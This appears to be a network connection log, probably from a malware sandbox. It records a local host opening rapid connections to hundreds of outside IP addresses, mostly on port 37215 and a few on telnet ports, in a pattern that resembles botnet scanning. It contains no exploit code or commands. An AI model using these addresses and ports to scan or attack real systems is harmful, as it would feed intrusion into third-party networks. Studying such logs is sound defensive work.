Jul 26, 2024 17:42:01.399884939 CEST	14150	37215	192.168.2.15	197.6.156.37
Jul 26, 2024 17:42:01.399884939 CEST	14150	37215	192.168.2.15	157.191.171.195
Jul 26, 2024 17:42:01.399892092 CEST	37215	14150	157.145.126.187	192.168.2.15
Jul 26, 2024 17:42:01.399912119 CEST	37215	14150	197.120.101.119	192.168.2.15
Jul 26, 2024 17:42:01.399919033 CEST	14150	37215	192.168.2.15	41.14.143.13
Jul 26, 2024 17:42:01.399924994 CEST	37215	14150	200.16.103.54	192.168.2.15
Jul 26, 2024 17:42:01.399931908 CEST	14150	37215	192.168.2.15	41.86.227.89
Jul 26, 2024 17:42:01.399931908 CEST	14150	37215	192.168.2.15	157.145.126.187
Jul 26, 2024 17:42:01.399933100 CEST	37215	14150	41.154.48.61	192.168.2.15
Jul 26, 2024 17:42:01.399940968 CEST	14150	37215	192.168.2.15	197.120.101.119
Jul 26, 2024 17:42:01.399945974 CEST	37215	14150	197.129.94.15	192.168.2.15
Jul 26, 2024 17:42:01.399954081 CEST	37215	14150	197.43.64.85	192.168.2.15
Jul 26, 2024 17:42:01.399959087 CEST	14150	37215	192.168.2.15	200.16.103.54
Jul 26, 2024 17:42:01.399966002 CEST	37215	14150	41.122.212.110	192.168.2.15
Jul 26, 2024 17:42:01.399966955 CEST	14150	37215	192.168.2.15	41.154.48.61
Jul 26, 2024 17:42:01.399972916 CEST	37215	14150	18.140.95.241	192.168.2.15
Jul 26, 2024 17:42:01.399977922 CEST	14150	37215	192.168.2.15	197.129.94.15
Jul 26, 2024 17:42:01.399985075 CEST	37215	14150	197.183.47.161	192.168.2.15
Jul 26, 2024 17:42:01.399990082 CEST	14150	37215	192.168.2.15	197.43.64.85
Jul 26, 2024 17:42:01.400058031 CEST	14150	37215	192.168.2.15	197.183.47.161
Jul 26, 2024 17:42:01.400058031 CEST	14150	37215	192.168.2.15	41.122.212.110
Jul 26, 2024 17:42:01.400058985 CEST	14150	37215	192.168.2.15	18.140.95.241
Jul 26, 2024 17:42:01.400151014 CEST	37215	14150	197.185.20.240	192.168.2.15
Jul 26, 2024 17:42:01.400158882 CEST	37215	14150	41.146.117.202	192.168.2.15
Jul 26, 2024 17:42:01.400166035 CEST	37215	14150	220.221.227.150	192.168.2.15
Jul 26, 2024 17:42:01.400172949 CEST	37215	14150	197.0.168.138	192.168.2.15
Jul 26, 2024 17:42:01.400180101 CEST	37215	14150	157.59.95.7	192.168.2.15
Jul 26, 2024 17:42:01.400187969 CEST	37215	14150	204.143.116.245	192.168.2.15
Jul 26, 2024 17:42:01.400187969 CEST	14150	37215	192.168.2.15	197.185.20.240
Jul 26, 2024 17:42:01.400192976 CEST	14150	37215	192.168.2.15	41.146.117.202
Jul 26, 2024 17:42:01.400196075 CEST	37215	14150	157.6.12.2	192.168.2.15
Jul 26, 2024 17:42:01.400202990 CEST	37215	14150	142.48.165.210	192.168.2.15
Jul 26, 2024 17:42:01.400207043 CEST	37215	14150	210.79.249.214	192.168.2.15
Jul 26, 2024 17:42:01.400216103 CEST	14150	37215	192.168.2.15	197.0.168.138
Jul 26, 2024 17:42:01.400223017 CEST	14150	37215	192.168.2.15	204.143.116.245
Jul 26, 2024 17:42:01.400247097 CEST	14150	37215	192.168.2.15	210.79.249.214
Jul 26, 2024 17:42:01.400247097 CEST	14150	37215	192.168.2.15	220.221.227.150
Jul 26, 2024 17:42:01.400247097 CEST	14150	37215	192.168.2.15	157.6.12.2
Jul 26, 2024 17:42:01.400248051 CEST	14150	37215	192.168.2.15	157.59.95.7
Jul 26, 2024 17:42:01.400248051 CEST	14150	37215	192.168.2.15	142.48.165.210
Jul 26, 2024 17:42:01.400265932 CEST	37215	14150	157.71.101.119	192.168.2.15
Jul 26, 2024 17:42:01.400307894 CEST	14150	37215	192.168.2.15	157.71.101.119
Jul 26, 2024 17:42:01.400820971 CEST	37215	14150	41.59.175.0	192.168.2.15
Jul 26, 2024 17:42:01.400830030 CEST	37215	14150	54.163.65.174	192.168.2.15
Jul 26, 2024 17:42:01.400836945 CEST	37215	14150	157.168.94.136	192.168.2.15
Jul 26, 2024 17:42:01.400855064 CEST	14150	37215	192.168.2.15	41.59.175.0
Jul 26, 2024 17:42:01.400897980 CEST	14150	37215	192.168.2.15	54.163.65.174
Jul 26, 2024 17:42:01.400897980 CEST	14150	37215	192.168.2.15	157.168.94.136
Jul 26, 2024 17:42:01.400974989 CEST	37215	14150	41.0.33.236	192.168.2.15
Jul 26, 2024 17:42:01.400983095 CEST	37215	14150	157.157.131.173	192.168.2.15
Jul 26, 2024 17:42:01.400988102 CEST	37215	14150	157.82.88.207	192.168.2.15
Jul 26, 2024 17:42:01.400990963 CEST	37215	14150	197.96.30.158	192.168.2.15
Jul 26, 2024 17:42:01.400999069 CEST	37215	14150	157.224.213.250	192.168.2.15
Jul 26, 2024 17:42:01.401007891 CEST	37215	14150	197.87.88.212	192.168.2.15
Jul 26, 2024 17:42:01.401015043 CEST	37215	14150	197.252.64.67	192.168.2.15
Jul 26, 2024 17:42:01.401022911 CEST	37215	14150	41.248.247.95	192.168.2.15
Jul 26, 2024 17:42:01.401022911 CEST	14150	37215	192.168.2.15	41.0.33.236
Jul 26, 2024 17:42:01.401022911 CEST	14150	37215	192.168.2.15	157.157.131.173
Jul 26, 2024 17:42:01.401030064 CEST	37215	14150	203.175.49.128	192.168.2.15
Jul 26, 2024 17:42:01.401035070 CEST	37215	14150	41.146.240.249	192.168.2.15
Jul 26, 2024 17:42:01.401038885 CEST	37215	14150	157.195.192.124	192.168.2.15
Jul 26, 2024 17:42:01.401041985 CEST	37215	14150	157.38.194.98	192.168.2.15
Jul 26, 2024 17:42:01.401045084 CEST	14150	37215	192.168.2.15	157.82.88.207
Jul 26, 2024 17:42:01.401045084 CEST	14150	37215	192.168.2.15	197.96.30.158
Jul 26, 2024 17:42:01.401045084 CEST	14150	37215	192.168.2.15	157.224.213.250
Jul 26, 2024 17:42:01.401057005 CEST	14150	37215	192.168.2.15	197.252.64.67
Jul 26, 2024 17:42:01.401082993 CEST	14150	37215	192.168.2.15	203.175.49.128
Jul 26, 2024 17:42:01.401082993 CEST	14150	37215	192.168.2.15	157.38.194.98
Jul 26, 2024 17:42:01.401083946 CEST	14150	37215	192.168.2.15	41.146.240.249
Jul 26, 2024 17:42:01.401145935 CEST	14150	37215	192.168.2.15	41.248.247.95
Jul 26, 2024 17:42:01.401146889 CEST	14150	37215	192.168.2.15	197.87.88.212
Jul 26, 2024 17:42:01.401146889 CEST	14150	37215	192.168.2.15	157.195.192.124
Jul 26, 2024 17:42:01.401228905 CEST	37215	14150	84.142.70.142	192.168.2.15
Jul 26, 2024 17:42:01.401237965 CEST	37215	14150	157.62.214.218	192.168.2.15
Jul 26, 2024 17:42:01.401245117 CEST	37215	14150	197.1.190.155	192.168.2.15
Jul 26, 2024 17:42:01.401252031 CEST	37215	14150	197.108.103.96	192.168.2.15
Jul 26, 2024 17:42:01.401258945 CEST	37215	14150	197.5.185.100	192.168.2.15
Jul 26, 2024 17:42:01.401266098 CEST	14150	37215	192.168.2.15	84.142.70.142
Jul 26, 2024 17:42:01.401273012 CEST	37215	14150	157.117.193.179	192.168.2.15
Jul 26, 2024 17:42:01.401279926 CEST	37215	14150	149.11.203.227	192.168.2.15
Jul 26, 2024 17:42:01.401285887 CEST	14150	37215	192.168.2.15	157.62.214.218
Jul 26, 2024 17:42:01.401290894 CEST	14150	37215	192.168.2.15	197.5.185.100
Jul 26, 2024 17:42:01.401312113 CEST	14150	37215	192.168.2.15	157.117.193.179
Jul 26, 2024 17:42:01.401314974 CEST	37215	14150	157.163.236.171	192.168.2.15
Jul 26, 2024 17:42:01.401323080 CEST	37215	14150	157.221.241.39	192.168.2.15
Jul 26, 2024 17:42:01.401329041 CEST	37215	14150	41.16.54.221	192.168.2.15
Jul 26, 2024 17:42:01.401335955 CEST	37215	14150	197.220.7.86	192.168.2.15
Jul 26, 2024 17:42:01.401344061 CEST	37215	14150	157.95.234.122	192.168.2.15
Jul 26, 2024 17:42:01.401352882 CEST	14150	37215	192.168.2.15	157.221.241.39
Jul 26, 2024 17:42:01.401352882 CEST	14150	37215	192.168.2.15	41.16.54.221
Jul 26, 2024 17:42:01.401361942 CEST	14150	37215	192.168.2.15	157.163.236.171
Jul 26, 2024 17:42:01.401369095 CEST	14150	37215	192.168.2.15	197.220.7.86
Jul 26, 2024 17:42:01.401374102 CEST	14150	37215	192.168.2.15	197.108.103.96
Jul 26, 2024 17:42:01.401374102 CEST	14150	37215	192.168.2.15	197.1.190.155
Jul 26, 2024 17:42:01.401374102 CEST	14150	37215	192.168.2.15	149.11.203.227
Jul 26, 2024 17:42:01.401386976 CEST	14150	37215	192.168.2.15	157.95.234.122
Jul 26, 2024 17:42:01.401390076 CEST	37215	14150	197.212.231.163	192.168.2.15
Jul 26, 2024 17:42:01.401437998 CEST	14150	37215	192.168.2.15	197.212.231.163
Jul 26, 2024 17:42:01.401593924 CEST	46172	37215	192.168.2.15	41.234.173.92
Jul 26, 2024 17:42:01.401873112 CEST	55252	2323	192.168.2.15	67.160.16.34
Jul 26, 2024 17:42:01.401941061 CEST	37215	14150	197.31.114.175	192.168.2.15
Jul 26, 2024 17:42:01.401949883 CEST	37215	14150	112.241.158.156	192.168.2.15
Jul 26, 2024 17:42:01.401957035 CEST	37215	14150	41.147.86.149	192.168.2.15
Jul 26, 2024 17:42:01.401979923 CEST	14150	37215	192.168.2.15	197.31.114.175
Jul 26, 2024 17:42:01.401979923 CEST	14150	37215	192.168.2.15	112.241.158.156
Jul 26, 2024 17:42:01.401992083 CEST	14150	37215	192.168.2.15	41.147.86.149
Jul 26, 2024 17:42:01.402194977 CEST	37215	14150	197.32.226.228	192.168.2.15
Jul 26, 2024 17:42:01.402204037 CEST	37215	14150	41.167.143.189	192.168.2.15
Jul 26, 2024 17:42:01.402213097 CEST	37215	14150	197.136.38.223	192.168.2.15
Jul 26, 2024 17:42:01.402223110 CEST	37215	14150	41.204.92.1	192.168.2.15
Jul 26, 2024 17:42:01.402230024 CEST	37215	14150	43.151.189.93	192.168.2.15
Jul 26, 2024 17:42:01.402232885 CEST	14150	37215	192.168.2.15	41.167.143.189
Jul 26, 2024 17:42:01.402239084 CEST	37215	14150	157.132.98.132	192.168.2.15
Jul 26, 2024 17:42:01.402240992 CEST	14150	37215	192.168.2.15	197.32.226.228
Jul 26, 2024 17:42:01.402245998 CEST	14150	37215	192.168.2.15	197.136.38.223
Jul 26, 2024 17:42:01.402254105 CEST	37215	14150	149.157.92.16	192.168.2.15
Jul 26, 2024 17:42:01.402261019 CEST	37215	14150	192.65.243.212	192.168.2.15
Jul 26, 2024 17:42:01.402262926 CEST	14150	37215	192.168.2.15	41.204.92.1
Jul 26, 2024 17:42:01.402267933 CEST	37215	14150	190.25.101.185	192.168.2.15
Jul 26, 2024 17:42:01.402273893 CEST	37215	14150	213.199.74.86	192.168.2.15
Jul 26, 2024 17:42:01.402287006 CEST	14150	37215	192.168.2.15	157.132.98.132
Jul 26, 2024 17:42:01.402302027 CEST	14150	37215	192.168.2.15	43.151.189.93
Jul 26, 2024 17:42:01.402302027 CEST	14150	37215	192.168.2.15	192.65.243.212
Jul 26, 2024 17:42:01.402302027 CEST	14150	37215	192.168.2.15	190.25.101.185
Jul 26, 2024 17:42:01.402304888 CEST	14150	37215	192.168.2.15	213.199.74.86
Jul 26, 2024 17:42:01.402318954 CEST	14150	37215	192.168.2.15	149.157.92.16
Jul 26, 2024 17:42:01.402324915 CEST	37215	14150	197.33.79.231	192.168.2.15
Jul 26, 2024 17:42:01.402334929 CEST	37215	14150	197.79.248.134	192.168.2.15
Jul 26, 2024 17:42:01.402340889 CEST	37215	14150	197.211.38.218	192.168.2.15
Jul 26, 2024 17:42:01.402348995 CEST	37215	14150	197.96.191.48	192.168.2.15
Jul 26, 2024 17:42:01.402355909 CEST	37215	14150	157.84.185.125	192.168.2.15
Jul 26, 2024 17:42:01.402368069 CEST	37215	14150	41.15.230.21	192.168.2.15
Jul 26, 2024 17:42:01.402374983 CEST	14150	37215	192.168.2.15	197.211.38.218
Jul 26, 2024 17:42:01.402380943 CEST	37215	14150	197.152.93.123	192.168.2.15
Jul 26, 2024 17:42:01.402384996 CEST	14150	37215	192.168.2.15	197.33.79.231
Jul 26, 2024 17:42:01.402384996 CEST	14150	37215	192.168.2.15	197.96.191.48
Jul 26, 2024 17:42:01.402385950 CEST	14150	37215	192.168.2.15	197.79.248.134
Jul 26, 2024 17:42:01.402388096 CEST	37215	14150	129.20.199.73	192.168.2.15
Jul 26, 2024 17:42:01.402389050 CEST	14150	37215	192.168.2.15	157.84.185.125
Jul 26, 2024 17:42:01.402396917 CEST	37215	14150	157.208.70.151	192.168.2.15
Jul 26, 2024 17:42:01.402405977 CEST	37215	14150	41.106.215.1	192.168.2.15
Jul 26, 2024 17:42:01.402412891 CEST	37215	14150	41.121.110.5	192.168.2.15
Jul 26, 2024 17:42:01.402416945 CEST	37215	14150	114.172.77.114	192.168.2.15
Jul 26, 2024 17:42:01.402420044 CEST	14150	37215	192.168.2.15	129.20.199.73
Jul 26, 2024 17:42:01.402420044 CEST	14150	37215	192.168.2.15	157.208.70.151
Jul 26, 2024 17:42:01.402425051 CEST	14150	37215	192.168.2.15	41.15.230.21
Jul 26, 2024 17:42:01.402427912 CEST	37215	14150	41.169.9.154	192.168.2.15
Jul 26, 2024 17:42:01.402436018 CEST	37215	14150	197.195.17.246	192.168.2.15
Jul 26, 2024 17:42:01.402455091 CEST	14150	37215	192.168.2.15	197.152.93.123
Jul 26, 2024 17:42:01.402455091 CEST	14150	37215	192.168.2.15	41.106.215.1
Jul 26, 2024 17:42:01.402514935 CEST	14150	37215	192.168.2.15	41.169.9.154
Jul 26, 2024 17:42:01.402515888 CEST	14150	37215	192.168.2.15	41.121.110.5
Jul 26, 2024 17:42:01.402517080 CEST	14150	37215	192.168.2.15	114.172.77.114
Jul 26, 2024 17:42:01.402517080 CEST	14150	37215	192.168.2.15	197.195.17.246
Jul 26, 2024 17:42:01.402673006 CEST	37215	14150	157.250.167.41	192.168.2.15
Jul 26, 2024 17:42:01.402713060 CEST	14150	37215	192.168.2.15	157.250.167.41
Jul 26, 2024 17:42:01.403031111 CEST	37215	14150	181.241.193.199	192.168.2.15
Jul 26, 2024 17:42:01.403039932 CEST	37215	14150	41.171.72.163	192.168.2.15
Jul 26, 2024 17:42:01.403048038 CEST	37215	14150	197.163.5.223	192.168.2.15
Jul 26, 2024 17:42:01.403058052 CEST	37215	14150	157.2.163.219	192.168.2.15
Jul 26, 2024 17:42:01.403067112 CEST	37215	14150	154.7.158.36	192.168.2.15
Jul 26, 2024 17:42:01.403070927 CEST	14150	37215	192.168.2.15	181.241.193.199
Jul 26, 2024 17:42:01.403078079 CEST	37215	14150	52.148.117.84	192.168.2.15
Jul 26, 2024 17:42:01.403084040 CEST	37215	14150	157.124.151.95	192.168.2.15
Jul 26, 2024 17:42:01.403084040 CEST	14150	37215	192.168.2.15	41.171.72.163
Jul 26, 2024 17:42:01.403084040 CEST	14150	37215	192.168.2.15	197.163.5.223
Jul 26, 2024 17:42:01.403091908 CEST	37215	14150	88.227.163.161	192.168.2.15
Jul 26, 2024 17:42:01.403093100 CEST	14150	37215	192.168.2.15	154.7.158.36
Jul 26, 2024 17:42:01.403100014 CEST	37215	14150	157.16.20.166	192.168.2.15
Jul 26, 2024 17:42:01.403101921 CEST	14150	37215	192.168.2.15	157.2.163.219
Jul 26, 2024 17:42:01.403106928 CEST	37215	14150	197.56.98.93	192.168.2.15
Jul 26, 2024 17:42:01.403115988 CEST	14150	37215	192.168.2.15	157.124.151.95
Jul 26, 2024 17:42:01.403116941 CEST	14150	37215	192.168.2.15	52.148.117.84
Jul 26, 2024 17:42:01.403132915 CEST	14150	37215	192.168.2.15	197.56.98.93
Jul 26, 2024 17:42:01.403146029 CEST	14150	37215	192.168.2.15	157.16.20.166
Jul 26, 2024 17:42:01.403186083 CEST	14150	37215	192.168.2.15	88.227.163.161
Jul 26, 2024 17:42:01.403215885 CEST	37215	14150	197.103.146.31	192.168.2.15
Jul 26, 2024 17:42:01.403224945 CEST	37215	14150	41.88.111.68	192.168.2.15
Jul 26, 2024 17:42:01.403232098 CEST	37215	14150	41.0.177.19	192.168.2.15
Jul 26, 2024 17:42:01.403239012 CEST	37215	14150	123.21.83.215	192.168.2.15
Jul 26, 2024 17:42:01.403244972 CEST	37215	14150	41.95.182.105	192.168.2.15
Jul 26, 2024 17:42:01.403251886 CEST	37215	14150	41.31.77.205	192.168.2.15
Jul 26, 2024 17:42:01.403254032 CEST	14150	37215	192.168.2.15	197.103.146.31
Jul 26, 2024 17:42:01.403254032 CEST	14150	37215	192.168.2.15	41.88.111.68
Jul 26, 2024 17:42:01.403255939 CEST	37215	14150	157.73.201.53	192.168.2.15
Jul 26, 2024 17:42:01.403264999 CEST	37215	14150	202.116.141.116	192.168.2.15
Jul 26, 2024 17:42:01.403290033 CEST	14150	37215	192.168.2.15	41.31.77.205
Jul 26, 2024 17:42:01.403292894 CEST	14150	37215	192.168.2.15	202.116.141.116
Jul 26, 2024 17:42:01.403316021 CEST	14150	37215	192.168.2.15	41.95.182.105
Jul 26, 2024 17:42:01.403316975 CEST	14150	37215	192.168.2.15	41.0.177.19
Jul 26, 2024 17:42:01.403318882 CEST	14150	37215	192.168.2.15	157.73.201.53
Jul 26, 2024 17:42:01.403318882 CEST	14150	37215	192.168.2.15	123.21.83.215
Jul 26, 2024 17:42:01.403387070 CEST	37215	14150	41.80.154.146	192.168.2.15
Jul 26, 2024 17:42:01.403395891 CEST	37215	14150	197.213.229.21	192.168.2.15
Jul 26, 2024 17:42:01.403402090 CEST	37215	14150	157.138.212.251	192.168.2.15
Jul 26, 2024 17:42:01.403409004 CEST	37215	14150	197.86.117.64	192.168.2.15
Jul 26, 2024 17:42:01.403417110 CEST	37215	14150	41.82.49.47	192.168.2.15
Jul 26, 2024 17:42:01.403423071 CEST	14150	37215	192.168.2.15	157.138.212.251
Jul 26, 2024 17:42:01.403429985 CEST	37215	14150	157.144.141.189	192.168.2.15
Jul 26, 2024 17:42:01.403435946 CEST	37215	14150	197.99.207.244	192.168.2.15
Jul 26, 2024 17:42:01.403439045 CEST	37215	14150	41.36.106.162	192.168.2.15
Jul 26, 2024 17:42:01.403445959 CEST	14150	37215	192.168.2.15	197.213.229.21
Jul 26, 2024 17:42:01.403451920 CEST	37215	14150	68.167.0.57	192.168.2.15
Jul 26, 2024 17:42:01.403456926 CEST	14150	37215	192.168.2.15	41.80.154.146
Jul 26, 2024 17:42:01.403456926 CEST	14150	37215	192.168.2.15	41.82.49.47
Jul 26, 2024 17:42:01.403466940 CEST	14150	37215	192.168.2.15	197.99.207.244
Jul 26, 2024 17:42:01.403476000 CEST	14150	37215	192.168.2.15	41.36.106.162
Jul 26, 2024 17:42:01.403492928 CEST	14150	37215	192.168.2.15	68.167.0.57
Jul 26, 2024 17:42:01.403517008 CEST	37215	14150	41.168.42.164	192.168.2.15
Jul 26, 2024 17:42:01.403542042 CEST	14150	37215	192.168.2.15	157.144.141.189
Jul 26, 2024 17:42:01.403542995 CEST	14150	37215	192.168.2.15	197.86.117.64
Jul 26, 2024 17:42:01.403583050 CEST	14150	37215	192.168.2.15	41.168.42.164
Jul 26, 2024 17:42:01.403788090 CEST	37215	14150	157.83.73.123	192.168.2.15
Jul 26, 2024 17:42:01.403796911 CEST	37215	14150	41.70.235.253	192.168.2.15
Jul 26, 2024 17:42:01.403804064 CEST	37215	14150	157.77.109.254	192.168.2.15
Jul 26, 2024 17:42:01.403812885 CEST	37215	14150	174.115.244.95	192.168.2.15
Jul 26, 2024 17:42:01.403834105 CEST	14150	37215	192.168.2.15	41.70.235.253
Jul 26, 2024 17:42:01.403837919 CEST	14150	37215	192.168.2.15	157.83.73.123
Jul 26, 2024 17:42:01.403858900 CEST	37215	14150	157.160.156.49	192.168.2.15
Jul 26, 2024 17:42:01.403862953 CEST	14150	37215	192.168.2.15	157.77.109.254
Jul 26, 2024 17:42:01.403862953 CEST	14150	37215	192.168.2.15	174.115.244.95
Jul 26, 2024 17:42:01.403867960 CEST	37215	14150	157.31.190.63	192.168.2.15
Jul 26, 2024 17:42:01.403899908 CEST	37215	14150	197.182.204.180	192.168.2.15
Jul 26, 2024 17:42:01.403908014 CEST	37215	14150	197.103.207.93	192.168.2.15
Jul 26, 2024 17:42:01.403912067 CEST	37215	14150	197.125.158.232	192.168.2.15
Jul 26, 2024 17:42:01.403912067 CEST	14150	37215	192.168.2.15	157.160.156.49
Jul 26, 2024 17:42:01.403912067 CEST	14150	37215	192.168.2.15	157.31.190.63
Jul 26, 2024 17:42:01.403914928 CEST	37215	14150	89.78.10.110	192.168.2.15
Jul 26, 2024 17:42:01.403922081 CEST	37215	14150	197.11.239.148	192.168.2.15
Jul 26, 2024 17:42:01.403930902 CEST	37215	14150	197.190.184.173	192.168.2.15
Jul 26, 2024 17:42:01.403942108 CEST	37215	14150	73.101.145.240	192.168.2.15
Jul 26, 2024 17:42:01.403942108 CEST	14150	37215	192.168.2.15	197.103.207.93
Jul 26, 2024 17:42:01.403944016 CEST	14150	37215	192.168.2.15	197.182.204.180
Jul 26, 2024 17:42:01.403948069 CEST	14150	37215	192.168.2.15	197.125.158.232
Jul 26, 2024 17:42:01.403948069 CEST	14150	37215	192.168.2.15	89.78.10.110
Jul 26, 2024 17:42:01.403960943 CEST	37215	14150	41.36.157.115	192.168.2.15
Jul 26, 2024 17:42:01.403966904 CEST	14150	37215	192.168.2.15	197.11.239.148
Jul 26, 2024 17:42:01.403970003 CEST	37215	14150	197.83.69.164	192.168.2.15
Jul 26, 2024 17:42:01.403985023 CEST	14150	37215	192.168.2.15	73.101.145.240
Jul 26, 2024 17:42:01.404007912 CEST	14150	37215	192.168.2.15	197.83.69.164
Jul 26, 2024 17:42:01.404052019 CEST	14150	37215	192.168.2.15	41.36.157.115
Jul 26, 2024 17:42:01.404053926 CEST	14150	37215	192.168.2.15	197.190.184.173
Jul 26, 2024 17:42:01.404088020 CEST	37215	14150	157.135.96.216	192.168.2.15
Jul 26, 2024 17:42:01.404097080 CEST	37215	14150	96.106.11.16	192.168.2.15
Jul 26, 2024 17:42:01.404103994 CEST	37215	14150	41.94.11.186	192.168.2.15
Jul 26, 2024 17:42:01.404110909 CEST	37215	14150	157.60.223.99	192.168.2.15
Jul 26, 2024 17:42:01.404119015 CEST	37215	14150	157.237.129.112	192.168.2.15
Jul 26, 2024 17:42:01.404119015 CEST	14150	37215	192.168.2.15	157.135.96.216
Jul 26, 2024 17:42:01.404126883 CEST	37215	14150	197.79.55.82	192.168.2.15
Jul 26, 2024 17:42:01.404134989 CEST	37215	14150	197.181.197.198	192.168.2.15
Jul 26, 2024 17:42:01.404140949 CEST	37215	14150	157.242.37.198	192.168.2.15
Jul 26, 2024 17:42:01.404141903 CEST	14150	37215	192.168.2.15	41.94.11.186
Jul 26, 2024 17:42:01.404145002 CEST	14150	37215	192.168.2.15	157.237.129.112
Jul 26, 2024 17:42:01.404151917 CEST	37215	14150	197.62.145.99	192.168.2.15
Jul 26, 2024 17:42:01.404159069 CEST	14150	37215	192.168.2.15	197.181.197.198
Jul 26, 2024 17:42:01.404164076 CEST	37215	14150	197.71.92.250	192.168.2.15
Jul 26, 2024 17:42:01.404169083 CEST	14150	37215	192.168.2.15	197.79.55.82
Jul 26, 2024 17:42:01.404169083 CEST	14150	37215	192.168.2.15	157.242.37.198
Jul 26, 2024 17:42:01.404171944 CEST	37215	14150	157.222.248.184	192.168.2.15
Jul 26, 2024 17:42:01.404175997 CEST	37215	14150	157.154.39.9	192.168.2.15
Jul 26, 2024 17:42:01.404206038 CEST	14150	37215	192.168.2.15	197.62.145.99
Jul 26, 2024 17:42:01.404206038 CEST	14150	37215	192.168.2.15	197.71.92.250
Jul 26, 2024 17:42:01.404206038 CEST	14150	37215	192.168.2.15	157.154.39.9
Jul 26, 2024 17:42:01.404208899 CEST	14150	37215	192.168.2.15	157.222.248.184
Jul 26, 2024 17:42:01.404268980 CEST	14150	37215	192.168.2.15	96.106.11.16
Jul 26, 2024 17:42:01.404268980 CEST	14150	37215	192.168.2.15	157.60.223.99
Jul 26, 2024 17:42:01.404294014 CEST	37215	14150	81.248.74.146	192.168.2.15
Jul 26, 2024 17:42:01.404344082 CEST	14150	37215	192.168.2.15	81.248.74.146
Jul 26, 2024 17:42:01.404699087 CEST	37215	14150	54.135.243.118	192.168.2.15
Jul 26, 2024 17:42:01.404707909 CEST	37215	14150	197.12.77.26	192.168.2.15
Jul 26, 2024 17:42:01.404711962 CEST	37215	14150	41.30.22.113	192.168.2.15
Jul 26, 2024 17:42:01.404715061 CEST	37215	14150	19.12.63.247	192.168.2.15
Jul 26, 2024 17:42:01.404721975 CEST	37215	14150	41.159.91.18	192.168.2.15
Jul 26, 2024 17:42:01.404742956 CEST	14150	37215	192.168.2.15	41.30.22.113
Jul 26, 2024 17:42:01.404742956 CEST	14150	37215	192.168.2.15	41.159.91.18
Jul 26, 2024 17:42:01.404742956 CEST	14150	37215	192.168.2.15	54.135.243.118
Jul 26, 2024 17:42:01.404742956 CEST	14150	37215	192.168.2.15	19.12.63.247
Jul 26, 2024 17:42:01.404759884 CEST	14150	37215	192.168.2.15	197.12.77.26
Jul 26, 2024 17:42:01.404762983 CEST	37215	14150	41.158.124.205	192.168.2.15
Jul 26, 2024 17:42:01.404772043 CEST	37215	14150	157.100.184.235	192.168.2.15
Jul 26, 2024 17:42:01.404778957 CEST	37215	14150	41.133.216.121	192.168.2.15
Jul 26, 2024 17:42:01.404799938 CEST	14150	37215	192.168.2.15	41.158.124.205
Jul 26, 2024 17:42:01.404839039 CEST	14150	37215	192.168.2.15	157.100.184.235
Jul 26, 2024 17:42:01.404839993 CEST	14150	37215	192.168.2.15	41.133.216.121
Jul 26, 2024 17:42:01.404907942 CEST	37215	14150	197.122.156.147	192.168.2.15
Jul 26, 2024 17:42:01.404917002 CEST	37215	14150	41.176.233.18	192.168.2.15
Jul 26, 2024 17:42:01.404925108 CEST	37215	14150	41.175.33.170	192.168.2.15
Jul 26, 2024 17:42:01.404932976 CEST	37215	14150	157.254.50.117	192.168.2.15
Jul 26, 2024 17:42:01.404938936 CEST	37215	14150	209.42.232.104	192.168.2.15
Jul 26, 2024 17:42:01.404949903 CEST	37215	14150	197.12.184.96	192.168.2.15
Jul 26, 2024 17:42:01.404954910 CEST	14150	37215	192.168.2.15	41.176.233.18
Jul 26, 2024 17:42:01.404956102 CEST	14150	37215	192.168.2.15	197.122.156.147
Jul 26, 2024 17:42:01.404963017 CEST	37215	14150	76.116.2.201	192.168.2.15
Jul 26, 2024 17:42:01.404970884 CEST	37215	14150	157.108.26.153	192.168.2.15
Jul 26, 2024 17:42:01.404975891 CEST	37215	14150	157.244.152.99	192.168.2.15
Jul 26, 2024 17:42:01.404983044 CEST	37215	14150	157.36.73.144	192.168.2.15
Jul 26, 2024 17:42:01.404985905 CEST	14150	37215	192.168.2.15	209.42.232.104
Jul 26, 2024 17:42:01.404985905 CEST	14150	37215	192.168.2.15	197.12.184.96
Jul 26, 2024 17:42:01.404989958 CEST	37215	14150	197.83.166.17	192.168.2.15
Jul 26, 2024 17:42:01.404998064 CEST	37215	14150	41.111.119.42	192.168.2.15
Jul 26, 2024 17:42:01.405005932 CEST	37215	14150	157.245.191.29	192.168.2.15
Jul 26, 2024 17:42:01.405014038 CEST	37215	14150	12.225.247.90	192.168.2.15
Jul 26, 2024 17:42:01.405014038 CEST	14150	37215	192.168.2.15	157.244.152.99
Jul 26, 2024 17:42:01.405014038 CEST	14150	37215	192.168.2.15	157.36.73.144
Jul 26, 2024 17:42:01.405021906 CEST	37215	14150	197.204.62.77	192.168.2.15
Jul 26, 2024 17:42:01.405029058 CEST	14150	37215	192.168.2.15	41.111.119.42
Jul 26, 2024 17:42:01.405030966 CEST	14150	37215	192.168.2.15	197.83.166.17
Jul 26, 2024 17:42:01.405056000 CEST	14150	37215	192.168.2.15	157.245.191.29
Jul 26, 2024 17:42:01.405056000 CEST	14150	37215	192.168.2.15	76.116.2.201
Jul 26, 2024 17:42:01.405056000 CEST	14150	37215	192.168.2.15	12.225.247.90
Jul 26, 2024 17:42:01.405061960 CEST	14150	37215	192.168.2.15	197.204.62.77
Jul 26, 2024 17:42:01.405070066 CEST	38168	23	192.168.2.15	138.224.244.61
Jul 26, 2024 17:42:01.405070066 CEST	14150	37215	192.168.2.15	41.175.33.170
Jul 26, 2024 17:42:01.405071020 CEST	14150	37215	192.168.2.15	157.254.50.117
Jul 26, 2024 17:42:01.405071020 CEST	14150	37215	192.168.2.15	157.108.26.153
Jul 26, 2024 17:42:01.405154943 CEST	37215	14150	46.183.5.78	192.168.2.15
Jul 26, 2024 17:42:01.405163050 CEST	37215	14150	41.165.200.1	192.168.2.15
Jul 26, 2024 17:42:01.405170918 CEST	37215	14150	157.107.164.216	192.168.2.15
Jul 26, 2024 17:42:01.405179024 CEST	37215	14150	41.196.193.149	192.168.2.15
Jul 26, 2024 17:42:01.405199051 CEST	14150	37215	192.168.2.15	46.183.5.78
Jul 26, 2024 17:42:01.405213118 CEST	14150	37215	192.168.2.15	41.165.200.1
Jul 26, 2024 17:42:01.405214071 CEST	14150	37215	192.168.2.15	41.196.193.149
Jul 26, 2024 17:42:01.405237913 CEST	37215	14150	197.70.51.141	192.168.2.15
Jul 26, 2024 17:42:01.405272007 CEST	14150	37215	192.168.2.15	157.107.164.216
Jul 26, 2024 17:42:01.405316114 CEST	14150	37215	192.168.2.15	197.70.51.141
Jul 26, 2024 17:42:01.405401945 CEST	37812	37215	192.168.2.15	157.194.249.71
